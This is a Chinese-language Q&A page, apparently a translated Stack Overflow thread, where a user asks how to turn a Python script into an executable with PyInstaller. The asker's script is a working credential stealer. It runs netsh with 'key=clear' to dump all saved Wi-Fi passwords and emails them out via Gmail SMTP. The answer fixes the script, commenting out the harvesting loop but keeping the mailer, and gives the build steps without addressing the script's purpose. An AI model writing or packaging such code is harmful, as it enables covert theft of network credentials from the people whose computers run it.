如何使python脚本可执行

问题描述 投票:0回答:1

我正在尝试制作一个简单的python可执行文件。我在python 3和python 2.7上进行了尝试,下载了winpy32,在Linux和Windows上进行了尝试,尝试了py-to-exe和pyinstaller。而且我仍然收到此错误:

raise error(exception.winerror, exception.function, exception.strerror)
win32ctypes.pywin32.pywintypes.error:

这是我的代码:

import subprocess
import smtplib
from smtplib import *
import re

command1 = "netsh wlan show profile"
networks = subprocess.check_output(command1, shell=True)
network_list = re.findall('(?:Profile\s*:\s)(.*)', networks.decode())

final_output = ""
for network in network_list:
    command2 = "netsh wlan show profile " + network + " key=clear"
    a_network_result = subprocess.check_output(command2, shell=True)
    final_output += a_network_result.decode()

final_output = str(final_output)


fromMy = 'myemail'
to = 'myEmail'
subj = 'TheSubject'
date = '23/5/2020'
message_text = final_output

msg = r"From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text )

username = str('MyEmail')
password = str('MyPasswd')

#try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(username, password)
server.sendmail(fromMy, to, msg)
server.quit()
python exe pyinstaller
1个回答
0
投票

您的代码有一些不相关的问题。我做了一点改动,pyinstaller可以正常工作

import subprocess
import smtplib
#from smtplib import *  Here you try to import smtplib again
import re

# Not needed for this example
    # command1 = "netsh wlan show profile"
    # networks = subprocess.check_output(command1, shell=True)
    # network_list = re.findall('(?:Profile\s*:\s)(.*)', networks.decode())
    #
    # final_output = ""
    # for network in network_list:
    #     command2 = "netsh wlan show profile " + network + " key=clear"
    #     a_network_result = subprocess.check_output(command2, shell=True)
    #     final_output += a_network_result.decode()
#
final_output = 'cmd output' # Simulate the cmd output you want emailed


fromMy = 'myemail'
to = 'myEmail'
subj = 'TheSubject'
date = '23/5/2020'
message_text = final_output

msg = r"From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text )

# Use regular strings in the variables python implicitly types them
username = 'MyEmail'
password = 'MyPasswd'

try: # Will always fail without real credentials   
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(username, password)
    server.sendmail(fromMy, to, msg)
    server.quit()

except smtplib.SMTPAuthenticationError:
    print("The username or password were incorrect")

[在Windows python 3.7和3.8下都为我工作

运行pyinstaller <script name>.py

note:您需要从终端的<script name>.py路径而不是dist\<script name>]中运行build\<script name>

© www.soinside.com 2019 - 2024. All rights reserved.